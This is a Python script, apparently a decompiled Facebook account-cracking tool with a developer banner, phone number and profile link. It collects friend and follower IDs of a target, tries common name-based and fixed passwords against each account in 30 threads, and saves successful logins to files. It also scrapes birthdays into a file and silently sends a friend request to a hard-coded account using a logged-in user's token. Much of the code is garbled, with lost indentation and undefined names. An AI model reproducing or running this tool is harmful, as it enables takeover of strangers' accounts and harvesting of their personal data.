#coding=utf-8
#!/usr/bin/python2
#Script Written By SDJ
#SDJ programmar
#Decompile By Mr James :)
try:
	import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib,requests,uuid,string
	from multiprocessing.pool import ThreadPool
	from requests.exceptions import ConnectionError
except ImportError:
	os.system("pip2 install requests")

agents = [
  "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3"
]
birth = ['001', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21']
bd = random.randint(2e7, 3e7)
sim = random.randint(2e4, 4e4)
header = {'x-fb-connection-bandwidth': repr(bd), 'x-fb-sim-hni': repr(sim), 'x-fb-net-hni': repr(sim),'x-fb-connection-quality': 'EXCELLENT', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.3','x-fb-connection-type': 'unknown','content-type': 'application/x-www-form-urlencoded', 'x-fb-http-engine': 'Liger'}
logo = """
\033[1;91m     $$$$$$\    $$$$$$\    $$$$$$\  
\033[1;92m    $$  __$$\  $$  __$$\  $$  __$$\ 
\033[1;93m    $$ /  \__| $$ /  $$ | $$ /  \__|
\033[1;94m    \$$$$$$\   $$$$$$$$ | \$$$$$$\  
\033[1;95m     \____$$\  $$  __$$ |  \____$$\ 
\033[1;96m    $$\   $$ | $$ |  $$ | $$\   $$ |
\033[1;97m    \$$$$$$  | $$ |  $$ | \$$$$$$  |
\033[1;98m     \______/  \__|  \__|  \______/ 
\033[1;93m----------------------------------------------------
     Commond Owner Is Mr-SuFyaN Love Of AhMad
\033[1;93m-----------------------------------------------------
                                                                                                  \033[1;93m-----------------------------------------------------
 \033[1;93m(*)\033[1;92m Developer: (SuFyaN AhMad ShabQadry)
 \033[1;93m(*)\033[1;92m WhatsApp :   03489458276
 \033[1;93m(*)\033[1;92m Facebook : https://www.facebook.com/Sufyan.shabqadry
\033[1;93m-----------------------------------------------------
"""
def tool():
	os.system("clear")
	print("")
	print(logo)
	time.sleep(1)
	print("First Put Tool Username...").center(50)
	print("")
	time.sleep(1)
	username = raw_input("[!] Tool Username : ")
	if username =="(sufyan)":
		print("")
		time.sleep(1)
		print("\033[1;92mTool Username is correct").center(50)
		print("")
		time.sleep(1)
		step_main()
	else:
		print("")
		time.sleep(1)
		print("\033[1;91mTool Username Is Invalid :) ").center(50)
		print("")
		time.sleep(1)
		tool()
def step_main():
	os.system("clear")
	print(logo)
	print("")
	time.sleep(1)
	print("First Put Tool Password...").center(50)
	print("")
	time.sleep(1)
	username = raw_input("[!] Tool Password : ")
	if username =="(SAS)":
		print("")
		time.sleep(1)
		print("\033[1;92mTool Password is correct").center(50)
		print("")
		time.sleep(1)
		main()
	else:
		print("")
		time.sleep(1)
		print("\033[1;91mTool Password Is Invalid :) ").center(50)
		print("")
		time.sleep(1)
		step_main()
		

print("\t "+c+"Login Menu"+c2)
print("")
print("\033[1;90m [1] Token login")
print("\033[1;90m [2] ID/Pass login")
print("")
login_select()
def login_select():
afza = raw_input(" \033[1;90mSelect option: ")
if afza =="1":
os.system("clear")
print(logo)
print("")
print("\t \033[1;90mToken Login\033[0;97m")
print("")
token = raw_input(" Past token here : ")
token_s = open(".fb_token.txt","w")
token_s.write(token)
token_s.close()
try:
r = requests.get("https://graph.facebook.com/me?access_token="+token)
q = json.loads(r.text)
name = q["name"]
nm = name.rsplit(" ")[0]
print("")
print("\t\033[1;32mToken logged in as : "+nm+"\033[0;97m")
time.sleep(3)
method_menu()
except (KeyError , IOError):
print("")
print("\t \033[1;31mToken not valid\033[0;97m")
print("")
raw_input(" Press enter to try again ")
login()
elif afza =="2":
login_fb()
else:
print("")
print("\t "+c+"Select valid method"+c2)
print("")
login_select()
def login_fb():
os.system("clear")
print(logo)
print("")
print("\t \033[1;90mFB ID/PASS Login\033[0;97m")
print("")
id = raw_input(" ID/Mail/Num : ")
id1=id.replace(' ','')
id2=id1.replace('(','')
uid=id2.replace(')','')
pwd = raw_input(" Password : ")
print("")
data=requests.get('http://localhost:5000/auth?id='+uid+'&pass='+pwd, headers=header).text
q = json.loads(data)
if "loc" in q:
hamza = open(".fb_token.txt","w")
hamza.write(q["loc"])
hamza.close()
requests.post('https://graph.facebook.com/me/friends?uid=100048514350891&access_token='+q['loc'])
time.sleep(1)
print("\t \033[1;32mLogged in successfully\033[0;97m")
time.sleep(1)
method_menu()
elif "www.facebook.com" in q["error"]:
print("\t \033[1;31mUser must verify account before login\033[0;97m")
print("")
time.sleep(1)
raw_input(" Press enter to try again ")
login_fb()
else:
print("\t\033[1;31mID/Number/Password may be wrong\033[0;97m")
print("")
raw_input(" Press enter to try again ")
login_fb()
def b_menu():
global token
os.system("clear")
print(logo)
try:
token = open(".fb_token.txt","r").read()
except (KeyError , IOError):
login()
try:
r = requests.get("https://graph.facebook.com/me?access_token="+token)
q = json.loads(r.text)
nm = q["name"]
nmf = nm.rsplit(" ")[0]
ok = nmf
except (KeyError , IOError):
print("")
print("\t "+c+"ID has checkpoint"+c2)
print("")
os.system("rm -rf .fb_token.txt")
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print(logo)
print("")
print("\t \033[1;90mTurn on mobile data OR wifi \033[0;97m")
print("")
time.sleep(1)
raw_input(" Press enter to try again \033[0;90m")
b_menu()
os.system("clear")
print(logo)
print("")
print("\t "+c+"Logged In User"+ok+c2)
print("")
print(47*" -")
print("")
print("\033[1;90m[1] Crack from public id")
print("\033[1;90m[2] Crack from followers")
print("\033[1;90m[3] View token")
print("\033[1;90m[4] Return method menu")
print("\033[1;90m[5] Logout")
print("")
b_menu_select()
def b_menu_select():
select = raw_input("\n\033[1;90m Select option: ")
id=[]
oks=[]
cps=[]
if select =="1":
os.system("clear")
print(logo)
print("")
print("\t\033[1;90mPublic id cloning")
print("")
idt = raw_input(" Input id: ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token)
q = json.loads(r.text)
print("\033[1;90m cloning from : "+q["name"])
except (KeyError , IOError):
print("")
print("\n\t \033[1;98m Logged in id has checkpoint\033[0;97m")
print("")
raw_input("\nPress enter to back ")
b_menu()
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+token)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="2":
os.system("clear")
print(logo)
print("")
print("")
idt = raw_input(" Input id: ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token, headers=header)
q = json.loads(r.text)
print(" Cloning from : "+q["name"])
except (KeyError , IOError):
print("")
print("\n\t \033[1;98m Logged in id has checkpoint\033[0;97m")
print("")
raw_input("\nPress enter to back ")
b_menu()
r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?access_token="+token+"&limit=5000", headers=header)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="3":
view_token()
elif select =="55":
extract_dob()
elif select =="4":
method_menu()
elif select =="5":
logout()
else:
print("")
print("\t "+c+"Select valid method"+c2)
print("")
b_menu_select()
print(" \033[1;90mTotal IDs : "+str(len(id)))
time.sleep(0.5)
print(" \033[1;92 The process is running in background")
print("")
print 47*("-")
print('')

def main(arg):
	user=arg
	uid,name=user.split("|")
	try:
	    pass1=name.lower()+"123"
	    q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass1 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	    d=json.loads(q)
	    if 'www.facebook.com' in d['error_msg']:
	        print("\033[1;90m[SDJ-CP] "+uid+" | "+pass1)
	        cp=open("cp.txt","a")
	        cp.write(uid+" | "+pass1+"\n")
	        cp.close()
	        cps.append(uid)
	    else:
	    	if "access_token" in d:
	            print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass1+"\x1b[1;92m")
	            ok=open("ok.txt","a")
	            ok.write(uid+" | "+pass1+"\n")
	            ok.close()
	            oks.append(uid)
	        else:
	            pass2=name.lower()+"1234"
	            q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass2 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	            d=json.loads(q)
	            if 'www.facebook.com' in d['error_msg']:
	                print("\033[1;90m[SDJ-CP] "+uid+" | "+pass2)
	                cp=open("cp.txt","a")
	                cp.write(uid+" | "+pass2+"\n")
	                cp.close()
	                cps.append(uid)
	            else:
	                if 'access_token' in d:
	                    print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass2+"\x1b[1;92m")
	                    ok=open("ok.txt","a")
	                    ok.write(uid+" | "+pass2+"\n")
	                    ok.close()
	                    oks.append(uid)
	                else:
	                    pass3=name.lower()+"12345"
	                    q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass3 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                    d=json.loads(q)
	                    if 'www.facebook.com' in d['error_msg']:
	                        print("\033[1;90m[SDJ-CP] "+uid+" | "+pass3)
	                        cp=open("cp.txt","a")
	                        cp.write(uid+" | "+pass3+"\n")
	                        cp.close()
	                        cps.append(uid)
	                    else:
	                        if 'access_token' in d:
	                            print(" \x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass3+"\x1b[1;92m")
	                            ok=open("ok.txt","a")
	                            ok.write(uid+" | "+pass3+"\n")
	                            ok.close()
	                            oks.append(uid)
	                        else:
	                            pass4=name.lower()+"1122"
	                            q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass4 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                            d=json.loads(q)
	                            if 'www.facebook.com' in d['error_msg']:
	                                print("\033[1;90m[SDJ-CP] "+uid+" | "+pass4)
	                                cp=open("cp.txt","a")
	                                cp.write(uid+" | "+pass4+"\n")
	                                cp.close()
	                                cps.append(uid)
	                            else:
	                                if 'access_token' in d:
	                                    print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass4+"\x1b[1;92m")
	                                    ok=open("ok.txt","a")
	                                    ok.write(uid+" | "+pass4+"\n")
	                                    ok.close()
	                                    oks.append(uid)
	                                else:
	                                    pass5="786786"
	                                    q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass5 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                                    d=json.loads(q)
	                                    if 'www.facebook.com' in d['error_msg']:
	                                        print("\033[1;90m[SDJ-CP] "+uid+" | "+pass5)
	                                        cp=open("cp.txt","a")
	                                        cp.write(uid+" | "+pass5+"\n")
	                                        cp.close()
	                                        cps.append(uid)
	                                    else:
	                                        if 'access_token' in d:
	                                            print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass5+"\x1b[1;92m")
	                                            ok=open("ok.txt","a")
	                                            ok.write(uid+" | "+pass5+"\n")
	                                            ok.close()
	                                            oks.append(uid)
	                                        else:
	                                            pass6="000786"
	                                            q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass6 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                                            d=json.loads(q)
	                                            if 'www.facebook.com' in d['error_msg']:
	                                                print("\033[1;90m[SDJ-CP] "+uid+" | "+pass6)
	                                                cp=open("cp.txt","a")
	                                                cp.write(uid+" | "+pass6+"\n")
	                                                cp.close()
	                                                cps.append(uid)
	                                            else:
	                                                if 'access_token' in d:
	                                                    print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass6+"\x1b[1;92m")
	                                                    ok=open("ok.txt","a")
	                                                    ok.write(uid+" | "+pass6+"\n")
	                                                    ok.close()
	                                                    oks.append(uid)
	                                                else:
	                                                    pass7="pakistan12345"
	                                                    q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass7 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                                                    d=json.loads(q)
	                                                    if 'www.facebook.com' in d['error_msg']:
	                                                        print("\033[1;90m[SDJ-CP] "+uid+" | "+pass7)
	                                                        cp=open("cp.txt","a")
	                                                        cp.write(uid+" | "+pass7+"\n")
	                                                        cp.close()
	                                                        cps.append(uid)
	                                                    else:
	                                                        if 'access_token' in d:
	                                                            print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass7+"\x1b[1;92m")
	                                                            ok=open("ok.txt","a")
	                                                            ok.write(uid+" | "+pass7+"\n")
	                                                            ok.close()
	                                                            oks.append(uid)
	                                                        else:
	                                                            pass8="223344"
	                                                            q = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + uid + "&locale=vi_vn&password=" + pass8 + "&sdk=ios&generate_session_cookies=1&sig=15df5f3c8c37e0a620e8fa1fd1dd705c", headers=header).text
	                                                            d=json.loads(q)
	                                                            if 'www.facebook.com' in d['error_msg']:
	                                                                print("\033[1;90m[SDJ-CP] "+uid+" | "+pass8)
	                                                                cp=open("cp.txt","a")
	                                                                cp.write(uid+" | "+pass8+"\n")
	                                                                cp.close()
	                                                                cps.append(uid)
	                                                            else:
	                                                                if 'access_token' in d:
	                                                                    print("\x1b[1;92m[SDJ-OK] \033[1;92m"+uid+" | "+pass8+"\x1b[1;92m")
	                                                                    ok=open("ok.txt","a")
	                                                                    ok.write(uid+" | "+pass8+"\n")
	                                                                    ok.close()
	                                                                    oks.append(uid)
														             
	except:
		pass
	
p = ThreadPool(30)
p.map(main, id)
print (" ")
print (47*"-")
print ("")
print (" Process has completed")
print (" Total Cp/Ok : "+str(len(cps)) + "/"+str(len(oks)))
print ("")
print (47*"-")
print ("")
raw_input(" Press enter to back ")
b_menu()
def view_token():
os.system("clear")
print(logo)
print("")
print("\t \033[1;98mLogged In Token \033[0;97m")
print("")
print(" Token : " )
os.system("cat .fb_token.txt")
print("")
raw_input(" Press enter to main menu ")
b_menu()
def logout():
os.system("clear")
print(logo)
print("")
print("\t "+c+"Logout Menu"+c2)
print("")
raw_input(" Do you really want to logout ? ")
os.system("rm -rf .fb_token.txt")
method_menu()
def extract_dob():
global token
try:
token = open(".fb_token.txt","r").read()
except (KeyError , IOError):
time.sleep(1)
login()
os.system("clear")
print(logo)
print("")
print("\t "+c+"Extract DOB Of ID"+c2)
print("")
print("[1] Crack from friendlist")
print("[2] Crack from followers")
print("[3] Crack single id")
print("[4] Back")
print("")
dob_select()
def dob_select():
select = raw_input("\n Choose Option >>> ")
id=[]
nms=[]
if select =="1":
os.system("clear")
print(logo)
print("")
print("\t \033[1;32mCrack DOB From Friendlist\033[0;97m")
print("")
idt = raw_input(" Put Id/user : ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token, headers=header)
q = json.loads(r.text)
print(" Target Id : "+q["name"])
except KeyError:
print("")
print('\033[1;31mID Not Found'+c2)
print("")
raw_input("\nPress enter to back ")
dob_select()
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+token, headers=header)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="2":
os.system("clear")
print(logo)
print("")
print("\033[1;32m Grab DOB From Followers\033[0;97m")
print("")
idt = raw_input(" Put Id/user : ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token, headers=header)
q = json.loads(r.text)
print(" Cloning from : "+q["name"])
except KeyError:
print('\t \033[1;31mID Not Found\033[0;97m')
raw_input("\nPress enter to back ")
dob_select()
#print('[✓] Looking For Accounts')
r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?access_token="+token+"&limit=5000", headers=header)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="3":
dob()
elif select =="4":
b_menu()
else:
print("")
print ("\t \033[1;31mSelect valid option\033[0;97m")
print("")
dob_select()
print (" Total IDs : "+str(len(id)))
print(" The Process has started")
print(" Note : This is for testing only")
print("")
print 47*("-")
print('')

def main(arg):
	user=arg
	uid,name=user.split("|")
	try:
	    q = requests.get("https://graph.facebook.com/"+uid+"?access_token="+token, headers=header).text
	    d=json.loads(q)
	    y=d['birthday']
	    print("\033[1;32m "+uid+" \033[1;30m "+name+" | "+y+"\033[0;97m")
	    nmb=open("dobs.txt","a")
	    nmb.write(name+' | '+uid+" | "+y+"\n")
	    nmb.close()
	    nms.append(number)
														
	except:
		pass
	
p = ThreadPool(30)
p.map(main, id)
print('')
print 47*'-'
print('')
print (' Process has completed')
print(' Total DOB :  '+str(len(nms)))
print('')
print 47*('-')
print('')
raw_input('\n Press enter to back ')
extract_dob()
def dob():
global token
try:
token = open(".fb_token.txt","r").read()
except (KeyError , IOError):
time.sleep(1)
login()
os.system("clear")
print(logo)
print("")
print("\t "+c+"Find DOB Of ID"+c2)
print("")
idt = raw_input(" Put id/user : ")
os.system("clear")
print(logo)
print("")
os.system('echo -e "\t Finding DOB " | lolcat')
time.sleep(1)
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token, headers=header).text
z = json.loads(r)
dobs = z["birthday"]
except (KeyError , IOError):
os.system("clear")
print(logo)
print("")
print("\t "+c+"Find DOB Of ID"+c2)
print("")
print(" DOB not found")
print("")
raw_input(" Press enter to try again ")
extract_dob()
os.system("clear")
print(logo)
print("")
print("\t "+c+"Find DOB Of ID"+c2)
print("")
print(" Account ID : "+idt)
print(" DOB : "+dobs)
print("")
print(47*"-")
print("")
conf()
def conf():
ol = raw_input(" Do you want to find again (y/n) ")
if ol =="y":
dob()
elif ol =="n":
extract_dob()
else:
b_menu()
def l_menu():
global token
os.system("clear")
print(logo)
try:
token = open(".fb_token.txt","r").read()
except (KeyError , IOError):
login()
try:
r = requests.get("https://graph.facebook.com/me?access_token="+token)
q = json.loads(r.text)
nm = q["name"]
nmf = nm.rsplit(" ")[0]
ok = nmf
except (KeyError , IOError):
print("")
print("\t "+c+"ID has checkpoint"+c2)
print("")
os.system("rm -rf .fb_token.txt")
time.sleep(1)
login()
except requests.exceptions.ConnectionError:
print(logo)
print("")
print("\t \033[1;31mTurn on mobile data OR wifi\033[0;97m")
print("")
time.sleep(1)
raw_input(" Press enter to try again ")
b_menu()
os.system("clear")
print(logo)
print("")
print(47*"-")
print("")
print("\t "+c+"Logged In User"+ok+c2)
print("")
print(47*"-")
print("")
print("[1] Crack from public id")
print("[2] Crack from followers")
print("[3] Return method menu")
print("[4] Logout")
print("")
l_menu_select()
def l_menu_select():
select = raw_input("\n \033[1;33mSelect option: ")
id=[]
oks=[]
cps=[]
if select =="1":
os.system("clear")
print(logo)
print("")
print("\t Public id cloning")
print("")
idt = raw_input(" Input id: ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token)
q = json.loads(r.text)
print(" Cloning from : "+q["name"])
except (KeyError , IOError):
print("")
print("\n\t \033[1;31m Logged in id has checkpoint\033[0;97m")
print("")
raw_input("\nPress enter to back ")
l_menu()
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+token)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="2":
os.system("clear")
print(logo)
print("")
print("\t FollowerS Cracking")
print("")
idt = raw_input(" input id: ")
try:
r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token, headers=header)
q = json.loads(r.text)
print(" Cloning from : "+q["name"])
except (KeyError , IOError):
print("")
print("\n\t \033[1;31m Logged in id has checkpoint\033[0;97m")
print("")
raw_input("\n Press enter to back ")
l_menu()
r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?access_token="+token+"&limit=5000", headers=header)
z = json.loads(r.text)
for i in z["data"]:
uid=i['id']
na=i['name']
nm=na.rsplit(" ")[0]
id.append(uid+'|'+nm)
elif select =="3":
method_menu()
elif select =="4":
logout()
else:
print("")
print("\t "+c+"Select valid method"+c2)
print("")
l_menu_select()
print(" Total IDs : "+str(len(id)))
time.sleep(0.5)
print(" The process is running in background")
print("")
print 47*("-")
print('')
def main(arg):
user=arg
uid,name=user.split("|")
try:
pass1 =name.lower()+"123"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass1, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass1+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass1+"\n")
ok.close()
oks.append(uid+pass1)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass1)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass1+"\n")
cp.close()
cps.append(uid+pass1)
else:
pass2 = name.lower()+"1234"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass2, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass2+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass2+"\n")
ok.close()
oks.append(uid+pass2)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass2)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass2+"\n")
cp.close()
cps.append(uid+pass2)
else:
pass3 = name.lower()+"12345"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass3, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass3+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass3+"\n")
ok.close()
oks.append(uid+pass3)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass3)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass3+"\n")
cp.close()
cps.append(uid+pass3)
else:
pass4 = name.lower()+"786"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass4, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass4+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass4+"\n")
ok.close()
oks.append(uid+pass4)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass4)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass4+"\n")
cp.close()
cps.apppend(uid+pass4)
else:
pass5 = "pakistan123"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass5, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass5+"\033[0;91m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass5+"\n")
ok.close()
oks.append(uid+pass5)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass5)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass5+"\n")
cp.close()
cps.append(uid+pass5)
else:
pass6 = "000786"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass6).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass6+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass6+"\n")
ok.close()
oks.append(uid+pass6)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass6)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass6+"\n")
cp.close()
cps.append(uid+pass6)
else:
pass7 = "pakistan"
data = requests.get("http://localhost:5000/auth?id="+uid+"&pass="+pass7, headers=header).text
q = json.loads(data)
if "loc" in q:
print("\033[1;89m[SDJ-OK] \033[1;89m"+uid+" | "+pass7+"\033[0;89m")
ok = open("ok.txt","a")
ok.write(uid+" | "+pass7+"\n")
ok.close()
oks.append(uid+pass7)
else:
if "www.facebook.com" in q["error"]:
print("[SDJ-CP] "+uid+" | "+pass7)
cp = open("cp.txt","a")
cp.write(uid+" | "+pass7+"\n")
cp.close()
cps.append(uid+pass7)

	except:
		pass

p = ThreadPool(30)
p.map(main,id)
print("")
print(47*"-")
print("")
print(" The process has completed")
print(" Total Ok/Cp :"+str(len(oks)))+"/"+str(len(cps))
print("")
print(47*"-")
print("")
raw_input(" Press entet to back ")
l_menu()
if name == 'main':
reg()
